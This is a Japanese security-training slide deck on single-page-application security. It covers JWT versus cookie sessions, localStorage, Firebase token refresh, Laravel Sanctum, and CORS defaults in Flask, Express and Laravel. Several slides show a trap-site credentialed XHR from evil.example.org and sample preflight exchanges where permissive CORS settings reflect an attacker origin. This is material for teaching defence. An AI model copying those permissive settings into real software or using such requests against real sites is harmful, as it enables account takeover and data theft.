SPAセキュリティ入門
EGセキュアソリューションズ株式会社
徳丸 浩
徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– EGセキュアソリューションズ株式会社取締役CTO https://www.eg-secure.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方(第2版)」(2018年6月)
– YouTubeチャンネル「徳丸浩のウェブセキュリティ講座」
https://j.mp/web-sec-study
– 技術士(情報工学部門)
© 2021 Hiroshi Tokumaru 2
本日お話したいこと
• SPA(Single Page Application)のセキュリティの基礎
• JWT(JSON Web Token)をセッション管理に用いることの是非
• CookieとlocalStorageの比較に対する論争について
• CORSを甘く見てはいけない
• どうすればよいか
3
© 2021 Hiroshi Tokumaru
前提知識の復習
• JWT : 後で説明します
• Cookie
– サーバーの指示でブラウザに保存されるデータ
– アクセスの度にクッキーがサーバーに送信される
• localStorage
– JavaScript操作でブラウザに保存(set)され、参照(get)、削除(remove)できる
– シンプルなキー・バリュー・ストレージでサーバーに自動送信されない
– アクセスの範囲は同一オリジン、消さない限り残り続ける
• ステートレス・トークン
– サーバーに問い合わせなくても通行可能な切符(のようなもの)
• ステートフル・トークン
– 都度サーバーに問い合わせて通行可能か判断する切符(のようなもの)
© 2021 Hiroshi Tokumaru 4
ネットでの議論の振り返り
© 2021 Hiroshi Tokumaru 5
HTML5のLocal Storageを使ってはいけない(翻訳)
本気で申し上げます。local storageを使わないでください。
local storageにセッション情報を保存する開発者がこれほど多い理由について、私に
はさっぱり見当がつきません。しかしどんな理由であれ、その手法は地上から消え
てなくなってもらう必要がありますが、明らかに手に負えなくなりつつあります。
私は毎日のように、重要なユーザー情報をlocal storageに保存するWebサイトを新た
に開いては頭を抱え、それをやらかして致命的なセキュリティ問題への扉を開いて
しまう開発者がいかに多いかを思い知ってつらい気持ちになっています。
それでは、local storageとは何か、そしてlocal storageにセッションデータを保存し
てはならない理由について、私の魂の奥底の叫びをお伝えしたいと思います。
6
https://techracho.bpsinc.jp/hachi8833/2019_10_09/80851
おーい磯野ー,Local StorageにJWT保存しようぜ!
ある日,HTML5のLocal Storageを使ってはいけない がバズっていた.
この記事でテーマになっていることの1つに「Local StorageにJWTを保存してはいけ
ない」というのがある.
しかし,いろいろ考えた結果「そうでもないんじゃないか」という仮定に至ったの
でここに残しておく.
【中略】
一見すると,これはLocal Storageを使う場合に発生する懸念事項をクリアしている
ように見えた.
しかしよく考えると,攻撃者にとって真に重要なのは認証トークンでは無く,認証
トークンを使って何をするか,ということのはずだ.
このことについては,Why HttpOnly Won't Protect Youでも述べられている.
7
https://scrapbox.io/musou1500/%E3%81%8A%E3%83%BC%E3%81%84%E7%A3%AF%E9%87%8E%E3%83%
BC%EF%BC%8CLocal_Storage%E3%81%ABJWT%E4%BF%9D%E5%AD%98%E3%81%97%E3%82%88%E3
%81%86%E3%81%9C%EF%BC%81
どうしてリスクアセスメントせずに JWT をセッションに使っちゃうわけ?
はあああ〜〜〜〜頼むからこちらも忙しいのでこんなエントリを書かせないでほし
い (挨拶)。もしくは僕を暇にしてこういうエントリを書かせるためのプログラマー
を募集しています (挨拶)。
JWT (JSON Web Token; RFC 7519) を充分なリスクの見積もりをせずセッションに使
う事例が現実に観測されはじめ、周りにもそれが伝染しはじめているようなので急
いで書くことにします。 (ステートレスな) JWT をセッションに使うことは、セッ
ション ID を用いる伝統的なセッション機構に比べて、あらゆるセキュリティ上のリ
スクを負うことになります。
8
https://co3k.org/blog/why-do-you-use-jwt-for-session
JWT認証、便利やん?
どうして JWT をセッションに使っちゃうわけ? - co3k.org に対して思うことを書く。
(ステートレスな) JWT をセッションに使うことは、セッション ID を用いる伝統的なセッション機
構に比べて、あらゆるセキュリティ上のリスクを負うことになります。
と大口叩いておいて、それに続く理由がほとんどお粗末な運用によるものなのはどうなのか。最後に、
でもそこまでしてステートレスに JWT を使わなくてはいけないか?
とまで行っていますが、JWT認証のメリットはその実装のシンプルさとステートレスなことにありま
す。現実的には実際はDB参照とか必要になったりするんですが、ほとんど改ざん検証だけで済むのは
魅力的です。トレードオフでリアルタイムでユーザー無効化ができないことくらいですかね。ライブ
ラリなんて使う必要ないほどシンプルだし、トレードオフさえ許容できればむしろ、なぜこれ以上に
複雑な認証システム使わないといけないの?複雑さゆえにライブラリが必要になったり、そのライブ
ラリが脆弱性を抱えていたり、そもそも使い方を間違えてしまったりするんでしょう。
9
https://auth0.hatenablog.com/entry/2018/09/21/004131
SPA(Single Page Application)とは?
© 2021 Hiroshi Tokumaru 10
SPA以前のウェブ=MPA(Multi-Page Application)
© 2021 Hiroshi Tokumaru 11
こんにちは
NEXT
次へどうぞ
NEXT
ありがとうござい
ました
NEXT
JavaScriptで代入した値は次のページではリセットされる
→ セッション管理の機能によりデータを引き継ぐ
処理 処理 処理
SPA(Single Page Application)の構造
© 2021 Hiroshi Tokumaru 12
SPA
ページ遷移をしないのでJavaScriptの
変数は保持される。
ただし、ページ遷移、戻る、リロー
ドで変数の値はリセットされる
→ セッション管理あるいは
localStorageによりデータを引き継ぐ
HTML JSON
Webサーバー APIサーバー
処理
コンテンツ
配信
XHR/
Fetch
SPAといってもセキュリティの基本は同じ
• フロント側(JavaScript)
– クロスサイトスクリプティング(DOM Base XSS)
– オープンリダイレクト
– evalインジェクション
– …
• サーバー側(API)
– SQLインジェクション
– クロスサイトスクリプティング(反射型、持続型)
– クロスサイトリクエストフォージェリ(CSRF)
– …
• SPAのセキュリティ = APIのセキュリティ + JavaScriptのセキュリティ
– と言っても過言ではない
© 2021 Hiroshi Tokumaru 13
SPAのサーバー構成
© 2021 Hiroshi Tokumaru 14
Webサーバー
https://www.example.com
APIサーバー
https://api.example.com
認証サーバー
https://auth.example.com
HTML
JSON
JWT 等
Web、API、認証の各サーバー
は、まとめることもあれば、
更に分離する場合もある
SPA
SPAとCORS(Cross-Origin Resource Sharing)
© 2021 Hiroshi Tokumaru 15
この項で説明すること
• JavaScript で複数サーバをまたがって 通信する(XMLHttpRequestや
Fetch API)場合には CORS(Cross-Origin Resource Sharing) の理解が不
可欠です
• しかし、最近は「CORSはフレームワークにまかせておけば大丈夫」
という風潮があるようです
• フレームワーク任せのCORS対応では、大きな落とし穴があることを
説明します
© 2021 Hiroshi Tokumaru 16
CORSがなかった時代は同一オリジンのみ通信できた
© 2021 Hiroshi Tokumaru 17
Webサーバー
https://www.example.com
HTML
<div>xxx</div>
<script> … </script>
JSON
{ "id": 123 }
var req = new XMLHttpRequest();
req.open("GET", "/api");
IE7
e
同一オリジンとは、
スキーム(https)
ホスト(www.example.com)
ポート(443)
がすべて同一である状態
CORSがなかった頃のセキュリティ保護=同一オリジンポリシー
© 2021 Hiroshi Tokumaru 18
Webサーバー
https://www.example.com
CORSがないと、このリクエストは
エラーになっていた = 安全だが不便
罠サイト
https://evil.example.org
var req = new XMLHttpRequest()
req.open("GET", "https://www.example.com/api")
HTML
IE7
IE7
e
CORSによるセキュリティ保護(現在のブラウザ)
© 2021 Hiroshi Tokumaru 19
Webサーバー 兼 APIサーバー
https://www.example.com
HTML
クッキーは飛びレスポンスも返るが、
上の2行が返されないと、
レスポンスは受け取れない
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("GET", "https://www.example.com/api")
req.withCredentials = true
Error: CORSヘッダがない
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://evil.example.org
{
"email": "alice@example.jp",
"tel": "03-1290-5678"
}
Google Chrome
Cookieを伴うXHRは厳しい条件が課せられている
• CORSのルールは複雑だが、Cookieを使わない場合は、設定が甘くて
も実害がないケースが多い
• Cookieを伴う場合は間違えると大変!
– 【必須】Access-Control-Allow-Credentials: true
– 【必須】 Access-Control-Allow-Origin: http://www.example.org
– Access-Control-Allow-Origin: * ではレスポンスを受け取れない
• Cookieを伴わないXHRは Access-Control-Allow-Origin: * でレスポンス
を受け取れるが、Cookieがない=認証がない ので通常大問題ではない
© 2021 Hiroshi Tokumaru 20
現在のフレームワークはどうなっているか?
© 2021 Hiroshi Tokumaru 21
Flask (Python用軽量フレームワーク)
© 2021 Hiroshi Tokumaru 22
from flask import Flask, session, jsonify
from flask_cors import CORS # 便利なパッケージを導入
app = Flask(__name__)
CORS(app, supports_credentials=True)
# ...
OPTIONS / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Access-Control-Allow-Origin:
https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: x-evil
Access-Control-Allow-Methods: DELETE, GET,
HEAD, OPTIONS, PATCH, POST, PUT
Vary: Origin
Content-Length: 0
Server: Werkzeug/2.0.1 Python/3.9.5
Date: Wed, 29 Sep 2021 07:30:57 GMT
Access-Control-Allow-Origin: https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: x-evil
Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT
Express (JavaScript用軽量かつ人気のフレームワーク)
© 2021 Hiroshi Tokumaru 23
const express = require('express')
const cors = require('cors') // 便利なパッケージ
const app = express()
app.use(cors({ origin: true, credentials: true }))
// ...
OPTIONS / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.1 204 No Content
X-Powered-By: Express
Access-Control-Allow-Origin:
https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods:
GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: x-evil
Content-Length: 0
Date: Wed, 29 Sep 2021 07:55:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Access-Control-Allow-Origin: https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: x-evil
われらが Laravel はどうか?
$ composer create-project laravel/laravel .
… 略
$ cat config/cors.php # Laravel 7 以降、laravel-corsが自動的にインストールされる
<?php
return [
/* 省略 */
'paths' => ['api/*', 'sanctum/csrf-cookie'],
'allowed_methods' => ['*'],
'allowed_origins' => ['*'],
'allowed_origins_patterns' => [],
'allowed_headers' => ['*'],
'exposed_headers' => [],
'max_age' => 0,
'supports_credentials' => false, // デフォルトでは Cookie は送信されない
];
© 2021 Hiroshi Tokumaru 24
Laravel
© 2021 Hiroshi Tokumaru 25
$ cat config/cors.php
...
'supports_credentials' => false,
];
OPTIONS /api/index HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.0 204 No Content
Host: www.example.com
Date: Wed, 29 Sep 2021 08:14:51 GMT
X-Powered-By: PHP/8.0.8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
Access-Control-Max-Age: 0
Content-type: text/html; charset=UTF-8
Vary: Access-Control-Request-Method,
Access-Control-Request-Headers
Connection: close
Date: Wed, 29 Sep 2021 08:14:51 GMT
Cache-Control: no-cache, private
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
Laravel
© 2021 Hiroshi Tokumaru 26
$ cat config/cors.php
...
'supports_credentials' => true, // クッキーも使いたいよねー
];
OPTIONS / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.0 204 No Content
Host: www.example.com
Date: Wed, 29 Sep 2021 08:25:52 GMT
X-Powered-By: PHP/8.0.8
Access-Control-Allow-Origin:
https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
Access-Control-Max-Age: 0
Content-type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache, private
Date: Wed, 29 Sep 2021 08:25:52 GMT
Vary: Origin, Access-Control-Request-Method,
Access-Control-Request-Headers
Access-Control-Allow-Origin: https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
フレームワークの現状について
• 各フレームワークにてCORSに簡単に対応できるパッケージ / プラグイ
ンが用意されている
• 細かく設定しなくても、デフォルトで「なんでもあり」という設定に
なっている場合がある
• クッキーによるセッション管理を行っている場合、CORSの設定不備
でXSS脆弱性等がなくてもなりすましができてしまう
• HTTPリクエストヘッダにトークンをつけている場合は、CORS設定不
備があってもなりすましはされない
– リクエストヘッダはJavaScriptにより設定するので、同一オリジンポリシーによ
り保護される
© 2021 Hiroshi Tokumaru 27
Authorizationヘッダにトークンを入れる場合
© 2021 Hiroshi Tokumaru 28
ヘッダにトークンを付与する場合はCORS不備の影響は少ない
© 2021 Hiroshi Tokumaru 29
Webサーバー 兼 APIサーバー
https://www.example.com
Authorization ヘッダをつけたくて
も、罠サイトにはトークンが保存
されていないのでつけられない
→ CORS的にはヘッダのほうが安全
罠サイト
https://evil.example.org
token eyJXXXXXXXXX
https://www.example.com
別オリジンの
localStorageには
アクセス不可
const token = localStorage.getItem('token')
Firebase REST APIで学ぶJWT
この項では、代表的なサーバーレス基盤であるFirebaseのREST
APIを用いて、JWTの基本を学びます
© 2021 Hiroshi Tokumaru 30
Firebaseとは
• Googleが提供するサーバーレスプラットフォーム
• 自前のサーバーを用意することなく、各種機能を従量課金で利用可能
– 無料のSparkプランもあり
• 以下の機能を提供
– Authentication : 認証基盤
– Realtime Database : データベース(非SQL)
– Cloud Firestore :データベース(非SQL)
– Cloud Storage : ファイル保管庫
– Firebase Hosting : ウェブサイトのホスティング
– Cloud Functions : 様々なトリガーにより機能を実行する
• REST APIの他、様々な言語向けのSDKを提供
© 2021 Hiroshi Tokumaru 31
Firebaseを用いたSPAのサーバー構成
© 2021 Hiroshi Tokumaru 32
Webサーバー(Firebase Hosting)
https://www.example.com
APIサーバー
https://firestore.googleapis.com
認証サーバー
https://identitytoolkit.googleapis.com
HTML
画像
CSS
JavaScript
JSON
JWT 等
SPA
Firebase Authentication の設定画面
33
https://console.firebase.google.com/project/firebbs-XXXXX/authentication/users
Firebase Authentication で使える認証プロバイダ
34
https://console.firebase.google.com/project/firebbs-XXXXX/authentication/providers
ログイン処理のPOSTリクエスト(要旨)
POST /v1/accounts:signInWithPassword?key=AIzaSyBPB4y62at_… HTTP/1.1
Host: identitytoolkit.googleapis.com
Content-Type: application/json
Origin: https://www.example.com
User-Agent: Mozilla
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 98
{
"email": "alice@example.jp",
"password": "password",
"returnSecureToken": true
}
© 2021 Hiroshi Tokumaru 35
ログイン処理のHTTPレスポンス(要旨)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 1372
Access-Control-Allow-Origin: https://www.example.com
{
"kind": "identitytoolkit#VerifyPasswordResponse",
"localId": "MhdJidRysBNPdHQ1zHIIaGE363y2",
"email": "alice@example.jp",
"displayName": "",
"idToken": "eyJhbGciOiJSUzI1NiIs … AJfEzAxQ3PS90A",
"registered": true,
"refreshToken": "ACzBnCjMDis3mBBLVijV … 6AaswVqvc5Z0E4AkX3FA",
"expiresIn": "3600"
}
© 2021 Hiroshi Tokumaru 36
これがJWT(IDトークン)
リフレッシュトークン(後述)
このリクエストの前にプリフライト
リクエストが飛ぶが自動的に許可さ
れている
37
ヘッダー(Base64URLエンコード)
ペイロード(Base64URLエンコード)
署名
https://jwt.io/
JWTの構造
{
"alg": "RS256",
"kid": "7b87112375427d657f5e25ca01d565e592a231db",
"typ": "JWT"
}
JWTとは(1)
• JWT (RFC 7519)は認証トークンの標準フォーマットの一つ
• ヘッダー . ペイロード . 署名 からなる。いずれもbase64urlエンコード
• JWTはOpenID Connect などで認証情報の持ち運びに利用される
• ヘッダーの例(エンコード前)
• このJSONをBase64エンコードすると eyJ で始まるので、eyJがJWTの
代名詞となっている
© 2021 Hiroshi Tokumaru 38
JWTであることを示す
署名鍵の識別子
アルゴリズム: RS256形式の署名
• ペイロードの例(エンコード前)
{
"iss": "https://securetoken.google.com/firebbs-XXXXX",
"aud": "firebbs-XXXXX",
"auth_time": 1632916659,
"sub": "MhdJidRysBNPdHQ1zHIIaGE363y2",
"iat": 1632966032,
"exp": 1632969632,
}
JWTとは(2)
© 2021 Hiroshi Tokumaru 39
JWT の発行者 (issuer) の識別子
ユーザーの一意な識別子(不変のもの)
認証日時(エポックタイム)
JWT の受取先
JWT発行日時(エポックタイム)
JWTの有効期限(エポックタイム)
{
"sub": 1235,
"exp": 17xxx
}
aliceさんですね
{
"sub": 1236,
"exp": 17xxx
}
bobです
JWTとは(3)
• 署名部は、バイナリ形式の署名をbase64urlエンコードしたもの。署名
パートはJSON形式ではない
• 署名がないと、ペイロードの改ざんが簡単にできてしまう
© 2021 Hiroshi Tokumaru 40
認証サーバー APIサーバー
トークンに署名つけないなんて、ありえない
…と思うでしょ
© 2021 Hiroshi Tokumaru 41
ありました
© 2021 Hiroshi Tokumaru 42
[独自記事]7pay不正利用問題、「7iD」に潜んでいた脆弱性の一端が判明
セブン&アイ・ホールディングスが決済サービス「7pay(セブンペ
イ)」の不正利用を受けて外部のIDからアプリへのログインを一時停止
した措置について、原因となった脆弱性の一端が明らかになった。日経
xTECHの取材で2019年7月12日までに分かった。外部IDとの認証連携機
能の実装に不備があり、パスワードなしで他人のアカウントにログイン
できる脆弱性があったという。
同社は2019年7月11日午後5時、FacebookやTwitter、LINEなど5つの外
部サービスのIDを使ったログインを一時停止した。「各アプリ共通で利
用しているオープンIDとの接続部分にセキュリティー上のリスクがある
恐れがあるため」(広報)としている。
43
https://xtech.nikkei.com/atcl/nxt/news/18/05498/ より引用
https://www.businessinsider.jp/post-194660 より引用 44
https://www.businessinsider.jp/post-194660 より引用 45
https://www.businessinsider.jp/post-194660 より引用 46
トークンが受け取れてしまう
酷い脆弱性だが、7pay事件の原因ではないそうです
JWT(IDトークン)による認証・認可制御
© 2021 Hiroshi Tokumaru 47
Cloud Firestore (データベース)の設定画面
48
https://console.firebase.google.com/project/firebbs-31a11/firestore/data/~2Farticles~2FX…
Cloud Firestore の認可設定画面
49
https://console.firebase.google.com/project/firebbs-XXXXX/firestore/rules
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /{document=**} {
allow read, write: if request.auth.uid != null;
}
}
}
認証ユーザのみ読み書きを許可するという
一番簡単な認可ルール
IDトークンのチェックが自動的に行われ、認証状態を
request.authオブジェクトが保持している
コンテンツ取得のGETリクエスト(要旨)
GET /v1/projects/firebbs-XXXXX/databases/(default)/documents/articles HTTP/1.1
Host: firestore.googleapis.com
Origin: https://www.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjdiODcx … xLv5Dc8uPYSPhP0xxQ1w
User-Agent: Mozilla
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
© 2021 Hiroshi Tokumaru 50
Authorizationヘッダに
Bearerトークンとして
IDトークンを付与
コンテンツ取得のHTTPレスポンス(要旨)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 513
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{
"documents": [
{
"name": "projects/firebbs-31a11/databases/(default)/documents/articles/XnVM…",
"fields": {
"uid": {
"stringValue": "MhdJidRysBNPdHQ1zHIIaGE363y2"
},
"comment": {
"stringValue": "PHPカンファレンス2021にようこそ"
},
© 2021 Hiroshi Tokumaru 51
JWTのタイムアウトとリフレッシュ
© 2021 Hiroshi Tokumaru 52
この項で説明すること
• JWTはサーバーに問い合わせることなくログイン状態を持ち運べる
• 元々OpenID Connect等ID連携用に設計されたが、セッション管理にも
便利じゃんということで大流行
• でも、サーバーに問い合わせなくても良いということは、サーバー側
でセッション破棄することができない
• この緩和策としてJWTのタイムアウトとリフレッシュを使います
© 2021 Hiroshi Tokumaru 53
JWTの有効期限とリフレッシュ
• JWTは一々認証サーバー側に問い合わせしなくてもJWT単体で認証状
態を確認できる(署名鍵は必要)
• JWTに有効期限がない、あるいは有効期限が非常に長いと、JWTの無
効化が難しい
• このため、JWTは通常有効期限を定めて、有効期限が切れたら認証
サーバーに再発行してもらう(リフレッシュ)
• Firebase AuthenticationのREST APIが発行するJWTの有効期限は1時間
(3600秒)
© 2021 Hiroshi Tokumaru 54
有効期限が切れたJWTでアクセスすると401になる
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=UTF-8
Content-Length: 123
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{
"error": {
"code": 401,
"message": "Missing or invalid authentication.",
"status": "UNAUTHENTICATED"
}
}
© 2021 Hiroshi Tokumaru 55
トークンリフレッシュのPOSTリクエスト(要旨)
POST /v1/token?key=AIzaSyBPXXXXXXXXXXXXXXXXXXXXm2LAjks HTTP/1.1
Host: securetoken.googleapis.com
Content-Type: application/json
User-Agent: Mozilla
Origin: https://www.example.com
Content-Length: 292
{
"grant_type":"refresh_token",
"refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx7O_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX_Gr94uHC5S_NEOHkDh
3w"
}
© 2021 Hiroshi Tokumaru 56
リフレッシュ要求の入力
値としてリフレッシュ
トークンを指定
トークンリフレッシュのHTTPレスポンス(要旨)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 2239
Access-Control-Allow-Origin: https://www.example.com
{
"access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ",
"expires_in": "3600",
"token_type": "Bearer",
"refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx … b7PFkTmz_Gr94uHC5S_NEOHkDh3w",
"id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ",
"user_id": "MhdJidRysBNPdHQ1zHIIaGE363y2",
"project_id": "592373516447"
}
© 2021 Hiroshi Tokumaru 57
リフレッシュされたID
トークンは、今後1時間
有効になる
ユーザー セッションの管理
Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー
認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)お
よび更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れと
なります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次
のいずれかが発生した場合にのみ有効期限が切れます。
• ユーザーが削除された
• ユーザーが無効にされた
• ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など)
Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、
ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッショ
ンをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限
を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能
があります。
58
https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用
ユーザー セッションの管理
Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー
認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)お
よび更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れと
なります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次
のいずれかが発生した場合にのみ有効期限が切れます。
• ユーザーが削除された
• ユーザーが無効にされた
• ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など)
Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、
ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッショ
ンをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限
を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能
があります。
59
https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用
ログアウトはどうする?
• IDトークン(JWT)を無効化するAPIがあれば、それを使えばよいが、
ない場合はトークンをクライアントから削除する
• 「完全なログアウト」を実現する方法
– JWTの有効期限を極限まで短くする(ステートレスの性質が薄れる)
– JWTの拒否リスト(Deny List)を用いる(サーバー側で管理=ステートを持つ)
– APIゲートウェイでセッション管理する(後述)
© 2021 Hiroshi Tokumaru 60
APIゲートウェイの利用(マイクロソフトの解説より)
61
https://docs.microsoft.com/ja-jp/azure/architecture/microservices/design/gateway
APIゲートウェイにてセッ
ション管理を行えば即時ログ
アウトは容易に実現できる
IDやパスワードをだまし取ろうとするページについて(Yahoo!)
62
https://support.yahoo-net.jp/PccYjcommon/s/article/H000011314
フィッシングに対する対応方法の記事
パスワードを変更したら、各トークンはどうなる?
• Firebase Authentication REST APIの場合、パスワード変更後
– IDトークンは有効期限内は有効のまま
– リフレッシュトークンは直ちに無効化される
– パスワード変更後最長1時間はセッション乗っ取りされ続ける
• IDトークンはステートレス(サーバーに確認しない)、リフレッシュ
トークンはステートフルなので自然な結果
• Firebase Authenticationの言語毎に用意されたSDKの場合は即時ログア
ウトを含め細かい制御ができる
© 2021 Hiroshi Tokumaru 63
Laravel Sanctumの場合
この項では、Laravel Sanctumが提供するステートフル・トークンの概要と、
セキュリティ要件の実現方法について説明します
© 2021 Hiroshi Tokumaru 64
Sanctumとは?
イントロダクション
Laravel Sanctum(サンクタム、聖所)は、SPA(シングルページアプリ
ケーション)、モバイルアプリケーション、およびシンプルなトーク
ンベースのAPIに軽い認証システムを提供します。Sanctumを使用す
ればアプリケーションの各ユーザーは、自分のアカウントに対して複
数のAPIトークンを生成できます。これらのトークンには、そのトー
クンが実行できるアクションを指定するアビリティ/スコープが付与
されることもあります。
仕組み
Laravel Sanctumは、2つの別々の問題を解決するために存在します。
ライブラリを深く掘り下げる前に、それぞれについて説明しましょう。
https://readouble.com/laravel/8.x/ja/sanctum.html より引用
65
Sanctumとは?
APIトークン
1つ目にSanctumは、OAuthの複雑さなしに、ユーザーにAPIトークンを発行する
ために使用できるシンプルなパッケージです。この機能は、「パーソナルアクセ
ストークン」を発行するGitHubやその他のアプリケーションに触発されています。
たとえば、アプリケーションの「アカウント設定」に、ユーザーが自分のアカウ
ントのAPIトークンを生成できる画面があるとします。Sanctumを使用して、これ
らのトークンを生成および管理できます。これらのトークンは通常、非常に長い
有効期限(年)がありますが、ユーザーはいつでも手動で取り消すことができます。
Laravel Sanctumは、ユーザーAPIトークンを単一のデータベーステーブルに保存
し、有効なAPIトークンを含む必要があるAuthorizationヘッダを介して受信HTTP
リクエストを認証することでこの機能を提供します。
https://readouble.com/laravel/8.x/ja/sanctum.html より引用
66
Sanctumのトークンは
ステートフル
Sanctumとは?
SPA認証
2つ目にSanctumは、Laravelを利用したAPIと通信する必要があるシングルページ
アプリケーション(SPA)を認証する簡単な方法を提供するために存在します。これ
らのSPAは、Laravelアプリケーションと同じリポジトリに存在する場合もあれば、
Vue CLIまたはNext.jsアプリケーションを使用して作成されたSPAなど、完全に
別個のリポジトリである場合もあります。
この機能のために、Sanctumはいかなる種類のトークンも使用しません。代わり
に、SanctumはLaravelの組み込みのクッキーベースのセッション認証サービスを
使用します。通常、SanctumはLaravelの「web」認証ガードを利用してこれを実
現します。これにより、CSRF保護、セッション認証の利点が提供できるだけでな
く、XSSを介した認証資格情報の漏洩を保護します。
https://readouble.com/laravel/8.x/ja/sanctum.html より引用
67
今日は APIトークンについて見ていきます
© 2021 Hiroshi Tokumaru 68
Sanctumのトークン(personal_access_tokensテーブル)
© 2021 Hiroshi Tokumaru 69
トークンのID
(一連番号)
トークンが示す
ユーザID等
トークン
ランダム文字列
トークン
生成日時
トークン
更新日時
権限情報
ログイン処理の例
public function login(Request $request)
{
$credentials = $request->validate([ // クレデンシャルの取得とバリデーション
'email' => 'required|email',
'password' => 'required'
]);
if (Auth::attempt($credentials)) {
$user = $request->user();
// $user->tokens()->delete(); // これを有効にすると既存のセッションがログアウトする
$token = $user->createToken("login:user{$user->id}")->plainTextToken;
return response()->json(['token' => $token], Response::HTTP_OK);
} else {
return response()->json(['status' => 'Error'], Response::HTTP_UNAUTHORIZED);
}
}
© 2021 Hiroshi Tokumaru 70
トークン生成
トークンをJSONとして返す
ログアウト処理の例
public function logout(Request $request)
{
$user = $request->user();
// $user->tokens()->delete(); // こちらだと一括ログアウトになる
$request->user()->currentAccessToken()->delete(); // 現在のトークンのみ削除
return response()->json(['status' => 'Logged out'], 200);
}
© 2021 Hiroshi Tokumaru 71
